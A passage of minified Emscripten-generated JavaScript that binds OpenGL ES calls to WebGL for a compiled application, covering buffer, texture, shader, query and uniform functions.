_glEnable(x0){GLctx[\"enable\"](x0)}function _glEnableVertexAttribArray(index){GLctx.enableVertexAttribArray(index)}function _glEndQuery(x0){GLctx[\"endQuery\"](x0)}function _glEndTransformFeedback(){GLctx[\"endTransformFeedback\"]()}function _glFenceSync(condition,flags){var sync=GLctx.fenceSync(condition,flags);if(sync){var id=GL.getNewId(GL.syncs);sync.name=id;GL.syncs[id]=sync;return id}else{return 0}}function _glFinish(){GLctx[\"finish\"]()}function _glFlush(){GLctx[\"flush\"]()}function emscriptenWebGLGetBufferBinding(target){switch(target){case 34962:target=34964;break;case 34963:target=34965;break;case 35051:target=35053;break;case 35052:target=35055;break;case 35982:target=35983;break;case 36662:target=36662;break;case 36663:target=36663;break;case 35345:target=35368;break}var buffer=GLctx.getParameter(target);if(buffer)return buffer.name|0;else return 0}function emscriptenWebGLValidateMapBufferTarget(target){switch(target){case 34962:case 34963:case 36662:case 36663:case 35051:case 35052:case 35882:case 35982:case 35345:return true;default:return false}}function _glFlushMappedBufferRange(target,offset,length){if(!emscriptenWebGLValidateMapBufferTarget(target)){GL.recordError(1280);err(\"GL_INVALID_ENUM in glFlushMappedBufferRange\");return}var mapping=GL.mappedBuffers[emscriptenWebGLGetBufferBinding(target)];if(!mapping){GL.recordError(1282);Module.printError(\"buffer was never mapped in glFlushMappedBufferRange\");return}if(!(mapping.access&16)){GL.recordError(1282);Module.printError(\"buffer was not mapped with GL_MAP_FLUSH_EXPLICIT_BIT in glFlushMappedBufferRange\");return}if(offset<0||length<0||offset+length>mapping.length){GL.recordError(1281);Module.printError(\"invalid range in glFlushMappedBufferRange\");return}GLctx.bufferSubData(target,mapping.offset,HEAPU8.subarray(mapping.mem+offset,mapping.mem+offset+length))}function _glFramebufferRenderbuffer(target,attachment,renderbuffertarget,renderbuffer){GLctx.framebufferRenderbuffer(target,attachment,renderbuffertarget,GL.renderbuffers[renderbuffer])}function _glFramebufferTexture2D(target,attachment,textarget,texture,level){GLctx.framebufferTexture2D(target,attachment,textarget,GL.textures[texture],level)}function _glFramebufferTextureLayer(target,attachment,texture,level,layer){GLctx.framebufferTextureLayer(target,attachment,GL.textures[texture],level,layer)}function _glFrontFace(x0){GLctx[\"frontFace\"](x0)}function _glGenBuffers(n,buffers){for(var i=0;i<n;i++){var buffer=GLctx.createBuffer();if(!buffer){GL.recordError(1282);while(i<n)HEAP32[buffers+i++*4>>2]=0;return}var id=GL.getNewId(GL.buffers);buffer.name=id;GL.buffers[id]=buffer;HEAP32[buffers+i*4>>2]=id}}function _glGenFramebuffers(n,ids){for(var i=0;i<n;++i){var framebuffer=GLctx.createFramebuffer();if(!framebuffer){GL.recordError(1282);while(i<n)HEAP32[ids+i++*4>>2]=0;return}var id=GL.getNewId(GL.framebuffers);framebuffer.name=id;GL.framebuffers[id]=framebuffer;HEAP32[ids+i*4>>2]=id}}function _glGenQueries(n,ids){for(var i=0;i<n;i++){var query=GLctx[\"createQuery\"]();if(!query){GL.recordError(1282);while(i<n)HEAP32[ids+i++*4>>2]=0;return}var id=GL.getNewId(GL.queries);query.name=id;GL.queries[id]=query;HEAP32[ids+i*4>>2]=id}}function _glGenRenderbuffers(n,renderbuffers){for(var i=0;i<n;i++){var renderbuffer=GLctx.createRenderbuffer();if(!renderbuffer){GL.recordError(1282);while(i<n)HEAP32[renderbuffers+i++*4>>2]=0;return}var id=GL.getNewId(GL.renderbuffers);renderbuffer.name=id;GL.renderbuffers[id]=renderbuffer;HEAP32[renderbuffers+i*4>>2]=id}}function _glGenSamplers(n,samplers){for(var i=0;i<n;i++){var sampler=GLctx[\"createSampler\"]();if(!sampler){GL.recordError(1282);while(i<n)HEAP32[samplers+i++*4>>2]=0;return}var id=GL.getNewId(GL.samplers);sampler.name=id;GL.samplers[id]=sampler;HEAP32[samplers+i*4>>2]=id}}function _glGenTextures(n,textures){for(var i=0;i<n;i++){var texture=GLctx.createTexture();if(!texture){GL.recordError(1282);while(i<n)HEAP32[textures+i++*4>>2]=0;return}var id=GL.getNewId(GL.textures);texture.name=id;GL.textures[id]=texture;HEAP32[textures+i*4>>2]=id}}function _glGenTransformFeedbacks(n,ids){for(var i=0;i<n;i++){var transformFeedback=GLctx[\"createTransformFeedback\"]();if(!transformFeedback){GL.recordError(1282);while(i<n)HEAP32[ids+i++*4>>2]=0;return}var id=GL.getNewId(GL.transformFeedbacks);transformFeedback.name=id;GL.transformFeedbacks[id]=transformFeedback;HEAP32[ids+i*4>>2]=id}}function _glGenVertexArrays(n,arrays){for(var i=0;i<n;i++){var vao=GLctx[\"createVertexArray\"]();if(!vao){GL.recordError(1282);while(i<n)HEAP32[arrays+i++*4>>2]=0;return}var id=GL.getNewId(GL.vaos);vao.name=id;GL.vaos[id]=vao;HEAP32[arrays+i*4>>2]=id}}function _glGenerateMipmap(x0){GLctx[\"generateMipmap\"](x0)}function _glGetActiveAttrib(program,index,bufSize,length,size,type,name){program=GL.programs[program];var info=GLctx.getActiveAttrib(program,index);if(!info)return;if(bufSize>0&&name){var numBytesWrittenExclNull=stringToUTF8(info.name,name,bufSize);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}if(size)HEAP32[size>>2]=info.size;if(type)HEAP32[type>>2]=info.type}function _glGetActiveUniform(program,index,bufSize,length,size,type,name){program=GL.programs[program];var info=GLctx.getActiveUniform(program,index);if(!info)return;if(bufSize>0&&name){var numBytesWrittenExclNull=stringToUTF8(info.name,name,bufSize);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}if(size)HEAP32[size>>2]=info.size;if(type)HEAP32[type>>2]=info.type}function _glGetActiveUniformBlockName(program,uniformBlockIndex,bufSize,length,uniformBlockName){program=GL.programs[program];var result=GLctx[\"getActiveUniformBlockName\"](program,uniformBlockIndex);if(!result)return;if(uniformBlockName&&bufSize>0){var numBytesWrittenExclNull=stringToUTF8(result,uniformBlockName,bufSize);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}}function _glGetActiveUniformBlockiv(program,uniformBlockIndex,pname,params){if(!params){GL.recordError(1281);return}program=GL.programs[program];switch(pname){case 35393:var name=GLctx[\"getActiveUniformBlockName\"](program,uniformBlockIndex);HEAP32[params>>2]=name.length+1;return;default:var result=GLctx[\"getActiveUniformBlockParameter\"](program,uniformBlockIndex,pname);if(!result)return;if(typeof result==\"number\"){HEAP32[params>>2]=result}else{for(var i=0;i<result.length;i++){HEAP32[params+i*4>>2]=result[i]}}}}function _glGetActiveUniformsiv(program,uniformCount,uniformIndices,pname,params){if(!params){GL.recordError(1281);return}if(uniformCount>0&&uniformIndices==0){GL.recordError(1281);return}program=GL.programs[program];var ids=[];for(var i=0;i<uniformCount;i++){ids.push(HEAP32[uniformIndices+i*4>>2])}var result=GLctx[\"getActiveUniforms\"](program,ids,pname);if(!result)return;var len=result.length;for(var i=0;i<len;i++){HEAP32[params+i*4>>2]=result[i]}}function _glGetAttribLocation(program,name){return GLctx.getAttribLocation(GL.programs[program],Pointer_stringify(name))}function _glGetError(){if(GL.lastError){var error=GL.lastError;GL.lastError=0;return error}else{return GLctx.getError()}}function _glGetFramebufferAttachmentParameteriv(target,attachment,pname,params){var result=GLctx.getFramebufferAttachmentParameter(target,attachment,pname);if(result instanceof WebGLRenderbuffer||result instanceof WebGLTexture){result=result.name|0}HEAP32[params>>2]=result}function emscriptenWebGLGetIndexed(target,index,data,type){if(!data){GL.recordError(1281);return}var result=GLctx[\"getIndexedParameter\"](target,index);var ret;switch(typeof result){case\"boolean\":ret=result?1:0;break;case\"number\":ret=result;break;case\"object\":if(result===null){switch(target){case 35983:case 35368:ret=0;break;default:{GL.recordError(1280);return}}}else if(result instanceof WebGLBuffer){ret=result.name|0}else{GL.recordError(1280);return}break;default:GL.recordError(1280);return}switch(type){case\"Integer64\":tempI64=[ret>>>0,(tempDouble=ret,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[data>>2]=tempI64[0],HEAP32[data+4>>2]=tempI64[1];break;case\"Integer\":HEAP32[data>>2]=ret;break;case\"Float\":HEAPF32[data>>2]=ret;break;case\"Boolean\":HEAP8[data>>0]=ret?1:0;break;default:throw\"internal emscriptenWebGLGetIndexed() error, bad type: \"+type}}function _glGetIntegeri_v(target,index,data){emscriptenWebGLGetIndexed(target,index,data,\"Integer\")}function emscriptenWebGLGet(name_,p,type){if(!p){GL.recordError(1281);return}var ret=undefined;switch(name_){case 36346:ret=1;break;case 36344:if(type!==\"Integer\"&&type!==\"Integer64\"){GL.recordError(1280)}return;case 34814:case 36345:ret=0;break;case 34466:var formats=GLctx.getParameter(34467);ret=formats.length;break;case 33309:if(GLctx.canvas.GLctxObject.version<2){GL.recordError(1282);return}var exts=GLctx.getSupportedExtensions();ret=2*exts.length;break;case 33307:case 33308:if(GLctx.canvas.GLctxObject.version<2){GL.recordError(1280);return}ret=name_==33307?3:0;break}if(ret===undefined){var result=GLctx.getParameter(name_);switch(typeof result){case\"number\":ret=result;break;case\"boolean\":ret=result?1:0;break;case\"string\":GL.recordError(1280);return;case\"object\":if(result===null){switch(name_){case 34964:case 35725:case 34965:case 36006:case 36007:case 32873:case 34229:case 35097:case 36389:case 34068:{ret=0;break};default:{GL.recordError(1280);return}}}else if(result instanceof Float32Array||result instanceof Uint32Array||result instanceof Int32Array||result instanceof Array){for(var i=0;i<result.length;++i){switch(type){case\"Integer\":HEAP32[p+i*4>>2]=result[i];break;case\"Float\":HEAPF32[p+i*4>>2]=result[i];break;case\"Boolean\":HEAP8[p+i>>0]=result[i]?1:0;break;default:throw\"internal glGet error, bad type: \"+type}}return}else if(result instanceof WebGLBuffer||result instanceof WebGLProgram||result instanceof WebGLFramebuffer||result instanceof WebGLRenderbuffer||result instanceof WebGLQuery||result instanceof WebGLSampler||result instanceof WebGLSync||result instanceof WebGLTransformFeedback||result instanceof WebGLVertexArrayObject||result instanceof WebGLTexture){ret=result.name|0}else{GL.recordError(1280);return}break;default:GL.recordError(1280);return}}switch(type){case\"Integer64\":tempI64=[ret>>>0,(tempDouble=ret,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[p>>2]=tempI64[0],HEAP32[p+4>>2]=tempI64[1];break;case\"Integer\":HEAP32[p>>2]=ret;break;case\"Float\":HEAPF32[p>>2]=ret;break;case\"Boolean\":HEAP8[p>>0]=ret?1:0;break;default:throw\"internal glGet error, bad type: \"+type}}function _glGetIntegerv(name_,p){emscriptenWebGLGet(name_,p,\"Integer\")}function _glGetInternalformativ(target,internalformat,pname,bufSize,params){if(bufSize<0){GL.recordError(1281);return}var samples=GLctx[\"getInternalformatParameter\"](target,internalformat,32937);if(!samples){GL.recordError(1280);return}switch(pname){case 32937:var n=Math.min(bufSize,samples.length);for(var i=0;i<n;i++){var v=samples[i];HEAP32[params+i*4>>2]=v}break;case 37760:if(bufSize>1){var v=samples.length;HEAP32[params>>2]=v}break;default:GL.recordError(1280)}}function _glGetProgramBinary(program,bufSize,length,binaryFormat,binary){GL.recordError(1282)}function _glGetProgramInfoLog(program,maxLength,length,infoLog){var log=GLctx.getProgramInfoLog(GL.programs[program]);if(log===null)log=\"(unknown error)\";if(maxLength>0&&infoLog){var numBytesWrittenExclNull=stringToUTF8(log,infoLog,maxLength);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}}function _glGetProgramiv(program,pname,p){if(!p){GL.recordError(1281);return}if(program>=GL.counter){GL.recordError(1281);return}var ptable=GL.programInfos[program];if(!ptable){GL.recordError(1282);return}if(pname==35716){var log=GLctx.getProgramInfoLog(GL.programs[program]);if(log===null)log=\"(unknown error)\";HEAP32[p>>2]=log.length+1}else if(pname==35719){HEAP32[p>>2]=ptable.maxUniformLength}else if(pname==35722){if(ptable.maxAttributeLength==-1){program=GL.programs[program];var numAttribs=GLctx.getProgramParameter(program,GLctx.ACTIVE_ATTRIBUTES);ptable.maxAttributeLength=0;for(var i=0;i<numAttribs;++i){var activeAttrib=GLctx.getActiveAttrib(program,i);ptable.maxAttributeLength=Math.max(ptable.maxAttributeLength,activeAttrib.name.length+1)}}HEAP32[p>>2]=ptable.maxAttributeLength}else if(pname==35381){if(ptable.maxUniformBlockNameLength==-1){program=GL.programs[program];var numBlocks=GLctx.getProgramParameter(program,GLctx.ACTIVE_UNIFORM_BLOCKS);ptable.maxUniformBlockNameLength=0;for(var i=0;i<numBlocks;++i){var activeBlockName=GLctx.getActiveUniformBlockName(program,i);ptable.maxUniformBlockNameLength=Math.max(ptable.maxUniformBlockNameLength,activeBlockName.length+1)}}HEAP32[p>>2]=ptable.maxUniformBlockNameLength}else{HEAP32[p>>2]=GLctx.getProgramParameter(GL.programs[program],pname)}}function _glGetRenderbufferParameteriv(target,pname,params){if(!params){GL.recordError(1281);return}HEAP32[params>>2]=GLctx.getRenderbufferParameter(target,pname)}function _glGetShaderInfoLog(shader,maxLength,length,infoLog){var log=GLctx.getShaderInfoLog(GL.shaders[shader]);if(log===null)log=\"(unknown error)\";if(maxLength>0&&infoLog){var numBytesWrittenExclNull=stringToUTF8(log,infoLog,maxLength);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}}function _glGetShaderPrecisionFormat(shaderType,precisionType,range,precision){var result=GLctx.getShaderPrecisionFormat(shaderType,precisionType);HEAP32[range>>2]=result.rangeMin;HEAP32[range+4>>2]=result.rangeMax;HEAP32[precision>>2]=result.precision}function _glGetShaderSource(shader,bufSize,length,source){var result=GLctx.getShaderSource(GL.shaders[shader]);if(!result)return;if(bufSize>0&&source){var numBytesWrittenExclNull=stringToUTF8(result,source,bufSize);if(length)HEAP32[length>>2]=numBytesWrittenExclNull}else{if(length)HEAP32[length>>2]=0}}function _glGetShaderiv(shader,pname,p){if(!p){GL.recordError(1281);return}if(pname==35716){var log=GLctx.getShaderInfoLog(GL.shaders[shader]);if(log===null)log=\"(unknown error)\";HEAP32[p>>2]=log.length+1}else if(pname==35720){var source=GLctx.getShaderSource(GL.shaders[shader]);var sourceLength=source===null||source.length==0?0:source.length+1;HEAP32[p>>2]=sourceLength}else{HEAP32[p>>2]=GLctx.getShaderParameter(GL.shaders[shader],pname)}}function _glGetString(name_){if(GL.stringCache[name_])return GL.stringCache[name_];var ret;switch(name_){case 7936:case 7937:case 37445:case 37446:ret=allocate(intArrayFromString(GLctx.getParameter(name_)),\"i8\",ALLOC_NORMAL);break;case 7938:var glVersion=GLctx.getParameter(GLctx.VERSION);if(GLctx.canvas.GLctxObject.version>=2)glVersion=\"OpenGL ES 3.0 (\"+glVersion+\")\";else{glVersion=\"OpenGL ES 2.0 (\"+glVersion+\")\"}ret=allocate(intArrayFromString(glVersion),\"i8\",ALLOC_NORMAL);break;case 7939:var exts=GLctx.getSupportedExtensions();var gl_exts=[];for(var i=0;i<exts.length;++i){gl_exts.push(exts[i]);gl_exts.push(\"GL_\"+exts[i])}ret=allocate(intArrayFromString(gl_exts.join(\" \")),\"i8\",ALLOC_NORMAL);break;case 35724:var glslVersion=GLctx.getParameter(GLctx.SHADING_LANGUAGE_VERSION);var ver_re=/^WebGL GLSL ES ([0-9]\\.[0-9][0-9]?)(?:$| .*)/;var ver_num=glslVersion.match(ver_re);if(ver_num!==null){if(ver_num[1].length==3)ver_num[1]=ver_num[1]+\"0\";glslVersion=\"OpenGL ES GLSL ES \"+ver_num[1]+\" (\"+glslVersion+\")\"}ret=allocate(intArrayFromString(glslVersion),\"i8\",ALLOC_NORMAL);break;default:GL.recordError(1280);return 0}GL.stringCache[name_]=ret;return ret}function _glGetStringi(name,index){if(GLctx.canvas.GLctxObject.version<2){GL.recordError(1282);return 0}var stringiCache=GL.stringiCache[name];if(stringiCache){if(index<0||index>=stringiCache.length){GL.recordError(1281);return 0}return stringiCache[index]}switch(name){case 7939:var exts=GLctx.getSupportedExtensions();var gl_exts=[];for(var i=0;i<exts.length;++i){gl_exts.push(allocate(intArrayFromString(exts[i]),\"i8\",ALLOC_NORMAL));gl_exts.push(allocate(intArrayFromString(\"GL_\"+exts[i]),\"i8\",ALLOC_NORMAL))}stringiCache=GL.stringiCache[name]=gl_exts;if(index<0||index>=stringiCache.length){GL.recordError(1281);return 0}return stringiCache[index];default:GL.recordError(1280);return 0}}function _glGetTexParameteriv(target,pname,params){if(!params){GL.recordError(1281);return}HEAP32[params>>2]=GLctx.getTexParameter(target,pname)}function _glGetUniformBlockIndex(program,uniformBlockName){program=GL.programs[program];uniformBlockName=Pointer_stringify(uniformBlockName);return GLctx[\"getUniformBlockIndex\"](program,uniformBlockName)}function _glGetUniformIndices(program,uniformCount,uniformNames,uniformIndices){if(!uniformIndices){GL.recordError(1281);return}if(uniformCount>0&&(uniformNames==0||uniformIndices==0)){GL.recordError(1281);return}program=GL.programs[program];var names=[];for(var i=0;i<uniformCount;i++)names.push(Pointer_stringify(HEAP32[uniformNames+i*4>>2]));var result=GLctx[\"getUniformIndices\"](program,names);if(!result)return;var len=result.length;for(var i=0;i<len;i++){HEAP32[uniformIndices+i*4>>2]=result[i]}}function _glGetUniformLocation(program,name){name=Pointer_stringify(name);var arrayOffset=0;if(name.indexOf(\"]\",name.length-1)!==-1){var ls=name.lastIndexOf(\"[\");var arrayIndex=name.slice(ls+1,-1);if(arrayIndex.length>0){arrayOffset=parseInt(arrayIndex);if(arrayOffset<0){return-1}}name=name.slice(0,ls)}var ptable=GL.programInfos[program];if(!ptable){return-1}var utable=ptable.uniforms;var uniformInfo=utable[name];if(uniformInfo&&arrayOffset<uniformInfo[0]){return uniformInfo[1]+arrayOffset}else{return-1}}function emscriptenWebGLGetUniform(program,location,params,type){if(!params){GL.recordError(1281);return}var data=GLctx.getUniform(GL.programs[program],GL.uniforms[location]);if(typeof data==\"number\"||typeof data==\"boolean\"){switch(type){case\"Integer\":HEAP32[params>>2]=data;break;case\"Float\":HEAPF32[params>>2]=data;break;default:throw\"internal emscriptenWebGLGetUniform() error, bad type: \"+type}}else{for(var i=0;i<data.length;i++){switch(type){case\"Integer\":HEAP32[params+i*4>>2]=data[i];break;case\"Float\":HEAPF32[params+i*4>>2]=data[i];break;default:throw\"internal emscriptenWebGLGetUniform() error, bad type: \"+type}}}}function _glGetUniformiv(program,location,params){emscriptenWebGLGetUniform(program,location,params,\"Integer\")}function emscriptenWebGLGetVertexAttrib(index,pname,params,type){if(!params){GL.recordError(1281);return}var data=GLctx.getVertexAttrib(index,pname);if(pname==34975){HEAP32[params>>2]=data[\"name\"]}else if(typeof data==\"number\"||typeof data==\"boolean\"){switch(type){case\"Integer\":HEAP32[params>>2]=data;break;case\"Float\":HEAPF32[params>>2]=data;break;case\"FloatToInteger\":HEAP32[params>>2]=Math.fround(data);break;default:throw\"internal emscriptenWebGLGetVertexAttrib() error, bad type: \"+type}}else{for(var i=0;i<data.length;i++){switch(type){case\"Integer\":HEAP32[params+i*4>>2]=data[i];break;case\"Float\":HEAPF32[params+i*4>>2]=data[i];break;case\"FloatToInteger\":HEAP32[params+i*4>>2]=Math.fround(data[i]);break;default:throw\"internal emscriptenWebGLGetVertexAttrib() error, bad type: \"+type}}}}function _glGetVertexAttribiv(index,pname,params){emscriptenWebGLGetVertexAttrib(index,pname,params,\"FloatToInteger\")}function _glInvalidateFramebuffer(target,numAttachments,attachments){var list=GL.tempFixedLengthArray[numAttachments];for(var i=0;i<numAttachments;i++){list[i]=HEAP32[attachments+i*4>>2]}GLctx[\"invalidateFramebuffer\"](target,list)}function _glIsEnabled(x0){return GLctx[\"isEnabled\"](x0)}function _glIsVertexArray(array){var vao=GL.vaos[array];if(!vao)return 0;return GLctx[\"isVertexArray\"](vao)}function _glLinkProgram(program){GLctx.linkProgram(GL.programs[program]);GL.programInfos[program]=null;GL.populateUniformTable(program)}function _glMapBufferRange(target,offset,length,access){if(access!=26&&access!=10){err(\"glMapBufferRange is only supported when access is MAP_WRITE|INVALIDATE_BUFFER\");return 0}if(!emscriptenWebGLValidateMapBufferTarget(target)){GL.recordError(1280);err(\"GL_INVALID_ENUM in glMapBufferRange\");return 0}var mem=_malloc(length);if(!mem)return 0;GL.mappedBuffers[emscriptenWebGLGetBufferBinding(target)]={offset:offset,length:length,mem:mem,access:access};return mem}function _glPixelStorei(pname,param){if(pname==3333){GL.packAlignment=param}else if(pname==3317){GL.unpackAlignment=param}GLctx.pixelStorei(pname,param)}function _glPolygonOffset(x0,x1){GLctx[\"polygonOffset\"](x0,x1)}function _glProgramBinary(program,binaryFormat,binary,length){GL.recordError(1280)}function _glProgramParameteri(program,pname,value){GL.recordError(1280)}function _glReadBuffer(x0){GLctx[\"readBuffer\"](x0)}function emscriptenWebGLComputeImageSize(width,height,sizePerPixel,alignment){function roundedToNextMultipleOf(x,y){return Math.floor((x+y-1)/y)*y}var plainRowSize=width*sizePerPixel;var alignedRowSize=roundedToNextMultipleOf(plainRowSize,alignment);return height<=0?0:(height-1)*alignedRowSize+plainRowSize}function emscriptenWebGLGetTexPixelData(type,format,width,height,pixels,internalFormat){var sizePerPixel;var numChannels;switch(format){case 6406:case 6409:case 6402:case 6403:case 36244:numChannels=1;break;case 6410:case 33319:case 33320:numChannels=2;break;case 6407:case 35904:case 36248:numChannels=3;break;case 6408:case 35906:case 36249:numChannels=4;break;default:GL.recordError(1280);return null}switch(type){case 5121:case 5120:sizePerPixel=numChannels*1;break;case 5123:case 36193:case 5131:case 5122:sizePerPixel=numChannels*2;break;case 5125:case 5126:case 5124:sizePerPixel=numChannels*4;break;case 34042:case 35902:case 33640:case 35899:case 34042:sizePerPixel=4;break;case 33635:case 32819:case 32820:sizePerPixel=2;break;default:GL.recordError(1280);return null}var bytes=emscriptenWebGLComputeImageSize(width,height,sizePerPixel,GL.unpackAlignment);switch(type){case 5120:return HEAP8.subarray(pixels,pixels+bytes);case 5121:return HEAPU8.subarray(pixels,pixels+bytes);case 5122:return HEAP16.subarray(pixels>>1,pixels+bytes>>1);case 5124:return HEAP32.subarray(pixels>>2,pixels+bytes>>2);case 5126:return HEAPF32.subarray(pixels>>2,pixels+bytes>>2);case 5125:case 34042:case 35902:case 33640:case 35899:case 34042:return HEAPU32.subarray(pixels>>2,pixels+bytes>>2);case 5123:case 33635:case 32819:case 32820:case 36193:case 5131:return HEAPU16.subarray(pixels>>1,pixels+bytes>>1);default:GL.recordError(1280);return null}}function emscriptenWebGLGetHeapForType(type){switch(type){case 5120:return HEAP8;case 5121:return HEAPU8;case 5122:return HEAP16;case 5123:case 33635:case 32819:case 32820:case 36193:case 5131:return HEAPU16;case 5124:return HEAP32;case 5125:case 34042:case 35902:case 33640:case 35899:case 34042:return HEAPU32;case 5126:return HEAPF32;default:return null}}function emscriptenWebGLGetShiftForType(type){switch(type){case 5120:case 5121:return 0;case 5122:case 5123:case 33635:case 32819:case 32820:case 36193:case 5131:return 1;case 5124:case 5126:case 5125:case 34042:case 35902:case 33640:case 35899:case 34042:return 2;default:return 0}}function _glReadPixels(x,y,width,height,format,type,pixels){if(GL.currentContext.supportsWebGL2EntryPoints){if(GLctx.currentPixelPackBufferBinding){GLctx.readPixels(x,y,width,height,format,type,pixels)}else{GLctx.readPixels(x,y,width,height,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}return}var pixelData=emscriptenWebGLGetTexPixelData(type,format,width,height,pixels,format);if(!pixelData){GL.recordError(1280);return}GLctx.readPixels(x,y,width,height,format,type,pixelData)}function _glRenderbufferStorage(x0,x1,x2,x3){GLctx[\"renderbufferStorage\"](x0,x1,x2,x3)}function _glRenderbufferStorageMultisample(x0,x1,x2,x3,x4){GLctx[\"renderbufferStorageMultisample\"](x0,x1,x2,x3,x4)}function _glSamplerParameteri(sampler,pname,param){GLctx[\"samplerParameteri\"](sampler?GL.samplers[sampler]:null,pname,param)}function _glScissor(x0,x1,x2,x3){GLctx[\"scissor\"](x0,x1,x2,x3)}function _glShaderSource(shader,count,string,length){var source=GL.getSource(shader,count,string,length);GLctx.shaderSource(GL.shaders[shader],source)}function _glStencilFuncSeparate(x0,x1,x2,x3){GLctx[\"stencilFuncSeparate\"](x0,x1,x2,x3)}function _glStencilMask(x0){GLctx[\"stencilMask\"](x0)}function _glStencilOpSeparate(x0,x1,x2,x3){GLctx[\"stencilOpSeparate\"](x0,x1,x2,x3)}function _glTexImage2D(target,level,internalFormat,width,height,border,format,type,pixels){if(GL.currentContext.supportsWebGL2EntryPoints){if(GLctx.currentPixelUnpackBufferBinding){GLctx.texImage2D(target,level,internalFormat,width,height,border,format,type,pixels)}else if(pixels!=0){GLctx.texImage2D(target,level,internalFormat,width,height,border,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}else{GLctx.texImage2D(target,level,internalFormat,width,height,border,format,type,null)}return}var pixelData=null;if(pixels)pixelData=emscriptenWebGLGetTexPixelData(type,format,width,height,pixels,internalFormat);GLctx.texImage2D(target,level,internalFormat,width,height,border,format,type,pixelData)}function _glTexImage3D(target,level,internalFormat,width,height,depth,border,format,type,pixels){if(GLctx.currentPixelUnpackBufferBinding){GLctx[\"texImage3D\"](target,level,internalFormat,width,height,depth,border,format,type,pixels)}else if(pixels!=0){GLctx[\"texImage3D\"](target,level,internalFormat,width,height,depth,border,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}else{GLctx[\"texImage3D\"](target,level,internalFormat,width,height,depth,border,format,type,null)}}function _glTexParameterf(x0,x1,x2){GLctx[\"texParameterf\"](x0,x1,x2)}function _glTexParameteri(x0,x1,x2){GLctx[\"texParameteri\"](x0,x1,x2)}function _glTexParameteriv(target,pname,params){var param=HEAP32[params>>2];GLctx.texParameteri(target,pname,param)}function _glTexStorage2D(x0,x1,x2,x3,x4){GLctx[\"texStorage2D\"](x0,x1,x2,x3,x4)}function _glTexStorage3D(x0,x1,x2,x3,x4,x5){GLctx[\"texStorage3D\"](x0,x1,x2,x3,x4,x5)}function _glTexSubImage2D(target,level,xoffset,yoffset,width,height,format,type,pixels){if(GL.currentContext.supportsWebGL2EntryPoints){if(GLctx.currentPixelUnpackBufferBinding){GLctx.texSubImage2D(target,level,xoffset,yoffset,width,height,format,type,pixels)}else if(pixels!=0){GLctx.texSubImage2D(target,level,xoffset,yoffset,width,height,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}else{GLctx.texSubImage2D(target,level,xoffset,yoffset,width,height,format,type,null)}return}var pixelData=null;if(pixels)pixelData=emscriptenWebGLGetTexPixelData(type,format,width,height,pixels,0);GLctx.texSubImage2D(target,level,xoffset,yoffset,width,height,format,type,pixelData)}function _glTexSubImage3D(target,level,xoffset,yoffset,zoffset,width,height,depth,format,type,pixels){if(GLctx.currentPixelUnpackBufferBinding){GLctx[\"texSubImage3D\"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,type,pixels)}else if(pixels!=0){GLctx[\"texSubImage3D\"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,type,emscriptenWebGLGetHeapForType(type),pixels>>emscriptenWebGLGetShiftForType(type))}else{GLctx[\"texSubImage3D\"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,type,null)}}function _glTransformFeedbackVaryings(program,count,varyings,bufferMode){program=GL.programs[program];var vars=[];for(var i=0;i<count;i++)vars.push(Pointer_stringify(HEAP32[varyings+i*4>>2]));GLctx[\"transformFeedbackVaryings\"](program,vars,bufferMode)}function _glUniform1fv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform1fv(GL.uniforms[location],HEAPF32,value>>2,count);return}var view;if(count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[count-1];for(var i=0;i<count;++i){view[i]=HEAPF32[value+4*i>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*4>>2)}GLctx.uniform1fv(GL.uniforms[location],view)}function _glUniform1i(location,v0){GLctx.uniform1i(GL.uniforms[location],v0)}function _glUniform1iv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform1iv(GL.uniforms[location],HEAP32,value>>2,count);return}GLctx.uniform1iv(GL.uniforms[location],HEAP32.subarray(value>>2,value+count*4>>2))}function _glUniform1uiv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform1uiv(GL.uniforms[location],HEAPU32,value>>2,count)}else{GLctx.uniform1uiv(GL.uniforms[location],HEAPU32.subarray(value>>2,value+count*4>>2))}}function _glUniform2fv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform2fv(GL.uniforms[location],HEAPF32,value>>2,count*2);return}var view;if(2*count<=GL.MINI_TEMP_BUFFER_SIZE){view=GL.miniTempBufferViews[2*count-1];for(var i=0;i<2*count;i+=2){view[i]=HEAPF32[value+4*i>>2];view[i+1]=HEAPF32[value+(4*i+4)>>2]}}else{view=HEAPF32.subarray(value>>2,value+count*8>>2)}GLctx.uniform2fv(GL.uniforms[location],view)}function _glUniform2iv(location,count,value){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.uniform2iv(GL.uniforms[location],HEAP32,value>>2,count*2);return}GLctx.uniform2iv(GL.uniforms[location],HEAP32.subarray(value>>2,value+count*8>>2))}function 